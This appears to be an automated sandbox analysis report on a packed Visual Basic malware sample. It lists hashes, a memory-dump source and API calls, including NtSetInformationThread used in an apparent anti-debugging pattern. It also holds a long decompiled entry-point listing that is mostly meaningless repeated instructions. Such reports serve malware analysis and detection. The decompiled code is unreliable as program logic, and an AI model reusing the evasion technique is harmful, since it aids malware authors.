Opcode ID: bf371076b00742955635caf6267e5cde452b7a277c9d88734f3b71df99d4076a
Instruction ID: 4840c79000fbf502dfb21c587781b24873f2fc26b56ffe02fed45745bdfe9f5e
Opcode Fuzzy Hash: bf371076b00742955635caf6267e5cde452b7a277c9d88734f3b71df99d4076a
Instruction Fuzzy Hash: 4E8158707803495EFBA59B348CA07D97BD2AF42728FA841AEDE40879D6D364C489DA01

Uniqueness

Uniqueness Score: -1.00%

Function 020F0405, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 124nativethreadCOMMON

Download Yara Rule

APIs

EnumWindows.USER32(020F0439,?,00000000,00000048,00000000,00020040,00000000,B95DDAB0,00000FFF,?,0000001C,00000000), ref: 020F0412
NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000,00000048,00000000,00020040,00000000), ref: 020F056B

Strings

1.!T, xrefs: 020F0545

Memory Dump Source

Source File: 00000000.00000002.250321143.00000000020F0000.00000040.00000001.sdmp, Offset: 020F0000, based on PE: false

Similarity

API ID: EnumInformationThreadWindows
String ID: 1.!T
API String ID: 1954852945-3147410236
Opcode ID: c601a21d62e8509d05539ba72988389b31d7ec4caee5d489006c31c46aaa580a
Instruction ID: e7be67b76e6adcf4353507ffe954de602ee948cc90b8ccaacc6f0872d7f212c4
Opcode Fuzzy Hash: c601a21d62e8509d05539ba72988389b31d7ec4caee5d489006c31c46aaa580a
Instruction Fuzzy Hash: A731C574BC13196FFF606E348CA17DA27936F86314F98422AEE55C76C4CA74CC899601

Uniqueness

Uniqueness Score: -1.00%

Function 004016BC, Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 474
COMMON

Download Yara Rule

C-Code - Quality: 29%

			_entry_() {
				signed char _t36;
				signed int _t37;
				intOrPtr* _t40;
				signed char _t42;
				signed char _t43;
				signed int _t46;
				signed int _t47;
				signed int _t48;
				signed char _t49;
				signed char _t50;
				signed int _t51;
				signed int _t52;
				void* _t53;
				signed int* _t55;
				signed int _t57;
				signed char _t58;
				signed int _t60;
				signed int _t63;
				intOrPtr* _t64;
				void* _t68;
				signed int _t69;
				intOrPtr* _t70;
				signed int _t74;
				void* _t80;
				void* _t84;
				intOrPtr _t89;

				_push("VB5!6&*"); // executed
				L004016B4(); // executed
				 *_t36 =  *_t36 + _t36;
				 *_t36 =  *_t36 + _t36;
				 *_t36 =  *_t36 + _t36;
				 *_t36 =  *_t36 ^ _t36;
				 *_t36 =  *_t36 + _t36;
				 *_t36 =  *_t36 + _t36;
				 *_t36 =  *_t36 + _t36;
				 *_t36 =  *_t36 + _t36;
				_t52 = _t63 + 0x4ec0fa13;
				_t37 =  *0xafd3844f;
				_t74 = _t63 * 0x2f;
				if (_t74 != 0) goto L1;
				 *_t37 =  *_t37 + _t37;
				 *_t37 =  *_t37 + _t37;
				 *_t37 =  *_t37 + _t37;
				_push(_t80);
				asm("outsd");
				if( *_t37 < 0) {
					L5:
					asm("sbb cl, [edi-0x63]");
					_t37 =  *((intOrPtr*)(_t74 - 0x63));
					_t63 = ds;
					asm("sbb byte [edi], 0xa8");
					if(_t84 > 0) {
						L8:
						asm("fiadd dword [eax+eax]");
						 *_t63 =  *_t63 + _t37;
						 *((intOrPtr*)(_t74 + 0x4e)) =  *((intOrPtr*)(_t74 + 0x4e)) + _t58;
						_t80 = _t80 + 1;
						_t74 = _t74 + 1;
						_push(_t58);
						_t63 = _t63 + 1;
						_t55 = _t55 - 1;
						L9:
						 *0x67000901 =  *0x67000901 + _t55;
						_t89 =  *0x67000901;
						if(_t89 != 0) {
							L14:
							 *_t55 =  *_t55 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *((intOrPtr*)(_t37 + 0x25)) =  *((intOrPtr*)(_t37 + 0x25)) + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t37 =  *_t37 + _t37;
							 *_t58 =  *_t58 + _t58;
							_t69 = _t37;
							_t60 = _t58 - 0x00000001 ^  *[gs:edx+0x60];
							_t40 = _t37 & 0x30;
							 *_t40 =  *_t40 + _t40;
							 *_t40 =  *_t40 + _t40;
							 *_t40 =  *_t40 + _t40;
							 *_t40 =  *_t40 + _t40;
							 *_t40 =  *_t40 + _t40;
							 *_t40 =  *_t40 + _t40;
							 *_t40 =  *_t40 + _t40;
							 *_t40 =  *_t40 + _t40;
							 *_t40 =  *_t40 + _t40;
							 *_t40 =  *_t40 + _t40;
							 *_t40 =  *_t40 + _t40;
							 *_t40 =  *_t40 + _t40;
							 *_t40 =  *_t40 + _t40;
							 *_t40 =  *_t40 + _t40;
							 *_t40 =  *_t40 + _t40;
							 *_t40 =  *_t40 + _t40;
							 *_t40 =  *_t40 + _t40;
							 *_t40 =  *_t40 + _t40;
							 *_t40 =  *_t40 + _t40;
							 *_t40 =  *_t40 + _t40;
							 *_t40 =  *_t40 + _t40;
							 *_t40 =  *_t40 + _t40;
							 *_t40 =  *_t40 + _t40;
							 *_t40 =  *_t40 + _t40;
							 *_t40 =  *_t40 + _t40;
							 *_t40 =  *_t40 + _t40;
							 *_t40 =  *_t40 + _t40;
							 *_t40 =  *_t40 + _t40;
							 *_t40 =  *_t40 + _t40;
							 *_t40 =  *_t40 + _t40;
							 *((intOrPtr*)(_t60 + 0x4d)) =  *((intOrPtr*)(_t60 + 0x4d)) - _t40;
							 *0x217e6456 =  *0x217e6456 | _t69;
							asm("scasb");
							_t42 = _t63;
							asm("a16 jb 0x2d");
							_t43 = _t42 |  *_t42;
							 *_t43 =  *_t43 + _t43;
							 *_t43 =  *_t43 + _t43;
							 *_t43 =  *_t43 + _t43;
							 *_t43 =  *_t43 + _t43;
							 *_t43 =  *_t43 + _t43;
							 *_t43 =  *_t43 + _t43;
							 *_t43 =  *_t43 + _t43;
							 *_t43 =  *_t43 + _t43;
							 *_t43 =  *_t43 + _t43;
							 *_t43 =  *_t43 + _t43;
							 *_t43 =  *_t43 + _t43;
							 *_t43 =  *_t43 + _t43;
							 *_t43 =  *_t43 + _t43;
							 *_t43 =  *_t43 + _t43;
							 *_t43 =  *_t43 + _t43;
							 *_t43 =  *_t43 + _t43;
							 *_t43 =  *_t43 + _t43;
							 *_t43 =  *_t43 + _t43;
							 *_t43 =  *_t43 + _t43;
							 *_t43 =  *_t43 + _t43;
							 *_t43 =  *_t43 + _t43;
							 *_t43 =  *_t43 + _t43;
							 *_t43 =  *_t43 + _t43;
							 *_t43 =  *_t43 + _t43;
							 *_t43 =  *_t43 + _t43;
							 *_t43 =  *_t43 + _t43;
							 *_t43 =  *_t43 + _t43;
							 *_t43 =  *_t43 + _t43;
							 *_t43 =  *_t43 + _t43;
							 *_t43 =  *_t43 + _t43;
							 *_t43 =  *_t43 + _t43;
							 *_t43 =  *_t43 + _t43;
							 *_t43 =  *_t43 + _t43;
							 *_t43 =  *_t43 + _t43;
							 *_t43 =  *_t43 + _t43;
							 *_t43 =  *_t43 + _t43;
							 *_t43 =  *_t43 + _t43;
							 *_t43 =  *_t43 + _t43;
							 *_t43 =  *_t43 + _t43;
							 *_t43 =  *_t43 + _t43;
							 *_t43 =  *_t43 + _t43;
							 *0x1fe9564f =  *0x1fe9564f + _t60;
							_t64 = _t63 - 1;
							goto 0xfe6841af;
							 *0x25 =  *0x25 + 1;
							asm("invalid");
							asm("das");
							asm("aaa");
							asm("xlatb");
							asm("sbb ch, [edx]");
							_t46 = _t43 + 0x00000006 +  *_t52 ^  *_t60;
							 *_t46 =  *_t46 + _t46;
							 *0x6000000 =  *0x6000000 + _t46;
							 *_t46 =  *_t46 + _t46;
							 *_t64 =  *_t64 + _t46;
							 *_t46 =  *_t46 + _t46;
							 *_t46 =  *_t46 + 0x25;
							 *_t46 =  *_t46 + _t46;
							 *_t46 =  *_t46 + 0x25;
							 *_t46 =  *_t46 + _t46;
							 *_t46 =  *_t46 + 0x25;
							 *_t46 =  *_t46 + _t46;
							 *_t46 =  *_t46 + 0x25;
							 *_t46 =  *_t46 + _t46;
							 *_t46 =  *_t46 + 0x25;
							 *_t46 =  *_t46 + _t46;
							 *_t46 =  *_t46 + 0x25;
							 *_t46 =  *_t46 + _t46;
							 *_t46 =  *_t46 + 0x25;
							 *_t46 =  *_t46 + _t46;
							 *_t64 =  *_t64 + _t46;
							 *_t46 =  *_t46 + _t46;
							 *_t69 =  *_t69 + _t46;
							 *_t46 =  *_t46 + _t46;
							 *0x4000000 =  *0x4000000 + _t46;
							 *_t69 =  *_t69 | 0x00000025;
							asm("adc [ebx], eax");
							_t70 = _t52;
							asm("stosb");
							_t47 = _t46 & 0x0705ff26;
							es = ds;
							 *_t47 =  *_t47 + 1;
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + 1;
							 *_t47 =  *_t47 + _t47;
							asm("invalid");
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *0x25 =  *0x25 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *_t52 =  *_t52 + _t47;
							 *_t47 =  *_t47 + _t47;
							 *0x8050503 =  *0x8050503 + _t47;
							_t57 = 0x00000025 ^  *(_t52 + 0x51);
							[far dword [edi](_t57, es, es, _t69, _t42);
							asm("daa");
							 *_t57 =  *_t57 - 1;
							_t48 = _t47 | 0x0000ff0d;
							_t53 = _t52 + _t52;
							_push(ss);
							 *_t48 =  *_t48 + _t48;
							 *0x16000000 =  *0x16000000 + 0x3c;
							 *_t48 =  *_t48 + _t48;
							 *_t48 =  *_t48 + _t53;
							 *_t48 =  *_t48 + _t48;
							 *_t48 =  *_t48 + _t53;
							 *_t48 =  *_t48 + _t48;
							 *_t48 =  *_t48 + _t53;
							 *_t48 =  *_t48 + _t48;
							 *_t48 =  *_t48 + _t53;
							 *_t48 =  *_t48 + _t48;
							 *_t48 =  *_t48 + _t53;
							 *_t48 =  *_t48 + _t48;
							 *_t48 =  *_t48 + _t53;
							 *_t48 =  *_t48 + _t48;
							 *_t48 =  *_t48 + _t53;
							 *_t48 =  *_t48 + _t48;
							 *_t48 =  *_t48 + _t53;
							 *_t48 =  *_t48 + _t48;
							 *0x16000000 =  *0x16000000 + 0x3c;
							 *_t48 =  *_t48 + _t48;
							 *_t70 =  *_t70 + 0x3c;
							 *_t48 =  *_t48 + _t48;
							 *0x14000000 =  *0x14000000 + 0x3c;
							 *_t48 =  *_t48 + _t48;
							 *_t57 =  *_t57 + 0x3c;
							 *(_t48 + 0x4e) =  *(_t48 + 0x4e) ^ _t57;
							 *(_t80 + _t48 * 2) =  *(_t80 + _t48 * 2) << 1;
							goto ( *__ecx);
						}
						asm("fs insd");
						asm("outsb");
						if(_t89 == 0) {
							L13:
							 *_t37 =  *_t37 + _t37;
							goto L14;
						}
						asm("outsb");
						 *_t55 =  *_t55 + _t52;
						 *_t37 =  *_t37 + _t37;
						_t58 = _t58 + 1;
						 *_t58 =  *_t58 + _t37;
						 *_t52 =  *_t52 + _t37;
						es =  *((intOrPtr*)(_t37 + _t37));
						asm("insb");
						if ( *_t52 == 0) goto L12;
						 *((intOrPtr*)(_t68 + 0x44)) =  *((intOrPtr*)(_t68 + 0x44)) + _t37;
						 *_t55 =  *_t55 + _t37;
						 *((intOrPtr*)(_t37 + _t37)) =  *((intOrPtr*)(_t37 + _t37)) + _t37;
						 *_t37 =  *_t37 ^ _t58;
						 *_t37 =  *_t37 + _t37;
						 *_t37 =  *_t37 + _t37;
						 *_t37 =  *_t37 & _t37;
						 *_t37 =  *_t37 + _t37;
						 *_t37 =  *_t37 + _t37;
						 *_t37 =  *_t37 + _t37;
						 *_t37 =  *_t37 & _t37;
						 *_t55 =  *_t55 + _t37;
						 *_t37 =  *_t37 + _t37;
						 *((intOrPtr*)(_t37 - 0x11fffff0)) =  *((intOrPtr*)(_t37 - 0x11fffff0)) + _t55;
						_t49 = _t37 & 0x18180000;
						 *_t49 =  *_t49 + _t49;
						 *_t49 =  *_t49 + _t49;
						 *_t49 =  *_t49 & _t49;
						 *_t55 = _t55;
						 *_t49 =  *_t49 + _t49;
						_t50 = _t68 + 1;
						 *[ss:eax] =  *[ss:eax] + _t50;
						asm("adc [eax], dl");
						 *_t50 =  *_t50 + _t50;
						 *_t50 =  *_t50 + _t50;
						 *_t50 =  *_t50 & _t50;
						_push(0x1e000004);
						_t37 = _t50 + 1;
						 *_t37 =  *_t37 + _t37;
						 *_t37 =  *_t37 - _t37;
						 *_t37 =  *_t37 + _t37;
						 *_t37 =  *_t37 ^ _t37;
						 *_t37 =  *_t37 + _t37;
						asm("pushad");
						goto L13;
					}
					_t51 = _t37;
					asm("stosb");
					 *((intOrPtr*)(_t51 - 0x2d)) =  *((intOrPtr*)(_t51 - 0x2d)) + _t51;
					_t37 = _t52 ^  *(_t55 - 0x48ee309a);
					_t52 = _t51;
					 *_t37 =  *_t37 + _t37;
					 *_t37 =  *_t37 + _t37;
					 *_t37 =  *_t37 + _t37;
					 *_t37 =  *_t37 + _t37;
					 *_t37 =  *_t37 + _t37;
					 *_t37 =  *_t37 + _t37;
					 *_t37 =  *_t37 + _t37;
					 *_t37 =  *_t37 + _t37;
					 *_t37 =  *_t37 + _t37;
					 *_t37 =  *_t37 + _t37;
					 *_t37 =  *_t37 + _t37;
					 *_t37 =  *_t37 + _t37;
					 *_t37 =  *_t37 + _t37;
					 *_t37 =  *_t37 + _t37;
					 *_t37 =  *_t37 + _t37;
					 *_t37 =  *_t37 + _t37;
					 *_t37 =  *_t37 + _t37;
					 *_t37 =  *_t37 + _t37;
					L7:
					asm("int1");
					 *_t37 =  *_t37 + _t37;
					goto L8;
				}
				 *_t37 =  *_t37 & _t37;
				_t68 = _t68 - 1;
				_t84 = _t68;
				if(_t84 != 0) {
					goto L9;
				}
				if(_t84 == 0) {
					goto L7;
				}
				asm("insb");
				 *_t37 =  *_t37 + _t37;
				 *_t37 =  *_t37 + _t37;
				 *_t37 =  *_t37 + _t37;
				_t80 = _t80 - 1;
				 *_t37 =  *_t37 ^ _t37;
				 *((intOrPtr*)(_t68 + 0x48)) =  *((intOrPtr*)(_t68 + 0x48)) - _t37;
				 *_t55 =  *_t55 | _t37;
				asm("clc");
				_push(0xfffffffd);
				asm("cdq");
				_push(_t80);
				asm("loop 0x4");
				asm("clc");
				goto L5;
			}

0x004016bc
0x004016c1
0x004016c6
0x004016c8
0x004016ca
0x004016cc
0x004016ce
0x004016d2
0x004016d4
0x004016d6
0x004016d8
0x004016de
0x004016e3
0x004016e6
0x004016ec
0x004016ee
0x004016f0
0x004016f2
0x004016f3
0x004016f4
0x00401716
0x00401716
0x0040171f
0x00401722
0x00401724
0x00401727
0x00401761
0x00401761
0x00401765
0x00401767
0x0040176a
0x0040176b
0x0040176c
0x0040176d
0x0040176e
0x0040176f
0x0040176f
0x0040176f
0x00401775
0x004017e3
0x004017e3
0x004017e5
0x004017e7
0x004017e9
0x004017eb
0x004017f1
0x004017f3
0x004017f5
0x004017f7
0x004017f9
0x004017fb
0x004017fd
0x004017ff
0x00401801
0x00401803
0x00401805
0x00401807
0x00401809
0x0040180b
0x0040180d
0x0040180f
0x00401811
0x00401813
0x00401815
0x00401817
0x00401819
0x0040181b
0x0040181d
0x0040181f
0x00401821
0x00401823
0x00401825
0x00401827
0x00401829
0x0040182b
0x0040182d
0x0040182f
0x00401831
0x00401833
0x00401835
0x00401837
0x00401839
0x0040183b
0x0040183d
0x0040183f
0x00401841
0x00401843
0x00401845
0x00401847
0x00401849
0x0040184b
0x0040184d
0x0040184f
0x00401851
0x00401853
0x00401855
0x00401857
0x00401859
0x0040185b
0x0040185d
0x0040185f
0x00401861
0x00401863
0x00401865
0x00401867
0x00401869
0x0040186b
0x0040186d
0x0040186f
0x00401871
0x00401873
0x00401875
0x00401877
0x00401879
0x0040187b
0x0040187d
0x0040187f
0x00401881
0x00401883
0x00401885
0x00401887
0x00401889
0x0040188b
0x0040188d
0x0040188f
0x00401891
0x00401893
0x00401895
0x00401897
0x00401899
0x0040189b
0x0040189d
0x0040189f
0x004018a1
0x004018a3
0x004018a5
0x004018a7
0x004018a9
0x004018ab
0x004018ad
0x004018af
0x004018b1
0x004018b3
0x004018b5
0x004018b7
0x004018b9
0x004018bb
0x004018bd
0x004018bf
0x004018c1
0x004018c3
0x004018c5
0x004018c7
0x004018c9
0x004018cb
0x004018cd
0x004018cf
0x004018d1
0x004018d3
0x004018d5
0x004018d7
0x004018d9
0x004018db
0x004018dd
0x004018df
0x004018e1
0x004018e3
0x004018e5
0x004018e7
0x004018e9
0x004018eb
0x004018ed
0x004018ef
0x004018f1
0x004018f3
0x004018f5
0x004018f7
0x004018f9
0x004018fb
0x004018fd
0x004018ff
0x00401901
0x00401903
0x00401905
0x00401907
0x00401909
0x0040190b
0x0040190d
0x0040190f
0x00401911
0x00401913
0x00401915
0x00401917
0x00401919
0x0040191b
0x0040191d
0x0040191f
0x00401921
0x00401923
0x00401925
0x00401927
0x00401929
0x0040192b
0x0040192d
0x0040192f
0x00401931
0x00401933
0x00401935
0x00401937
0x00401939
0x0040193b
0x0040193d
0x0040193f
0x00401941
0x00401943
0x00401945
0x00401947
0x00401949
0x0040194b
0x0040194d
0x0040194f
0x00401951
0x00401953
0x00401955
0x00401957
0x00401959
0x0040195b
0x0040195d
0x0040195f
0x00401961
0x00401963
0x00401965
0x00401967
0x00401969
0x0040196b
0x0040196d
0x0040196f
0x00401971
0x00401973
0x00401975
0x00401977
0x00401979
0x0040197b
0x0040197d
0x0040197f
0x00401981
0x00401983
0x00401985
0x00401987
0x00401989
0x0040198b
0x0040198d
0x0040198f
0x00401991
0x00401993
0x00401995
0x00401997
0x00401999
0x0040199b
0x0040199d
0x0040199f
0x004019a1
0x004019a3
0x004019a5
0x004019a7
0x004019a9
0x004019ab
0x004019ad
0x004019af
0x004019b1
0x004019b3
0x004019b5
0x004019b7
0x004019b9
0x004019bb
0x004019bd
0x004019bf
0x004019c1
0x004019c3
0x004019c5
0x004019c7
0x004019ca
0x004019d3
0x004019db
0x004019e0
0x004019e2
0x004019e4
0x004019e6
0x004019e8
0x004019ea
0x004019ec
0x004019ee
0x004019f0
0x004019f2
0x004019f4
0x004019f6
0x004019f8
0x004019fa
0x004019fc
0x004019fe
0x00401a00
0x00401a02
0x00401a04
0x00401a06
0x00401a08
0x00401a0a
0x00401a0c
0x00401a0e
0x00401a10
0x00401a12
0x00401a14
0x00401a16
0x00401a18
0x00401a1a
0x00401a1c
0x00401a1f
0x00401a2b
0x00401a2c
0x00401a2e
0x00401a33
0x00401a35
0x00401a37
0x00401a39
0x00401a3b
0x00401a3d
0x00401a3f
0x00401a41
0x00401a43
0x00401a45
0x00401a47
0x00401a49
0x00401a4b
0x00401a4d
0x00401a4f
0x00401a51
0x00401a53
0x00401a55
0x00401a57
0x00401a59
0x00401a5b
0x00401a5d
0x00401a5f
0x00401a61
0x00401a63
0x00401a65
0x00401a67
0x00401a69
0x00401a6b
0x00401a6d
0x00401a6f
0x00401a71
0x00401a73
0x00401a75
0x00401a77
0x00401a79
0x00401a7b
0x00401a7d
0x00401a7f
0x00401a81
0x00401a83
0x00401a85
0x00401a87
0x00401a89
0x00401a8b
0x00401a93
0x00401a97
0x00401a99
0x00401a9a
0x00401a9b
0x00401a9c
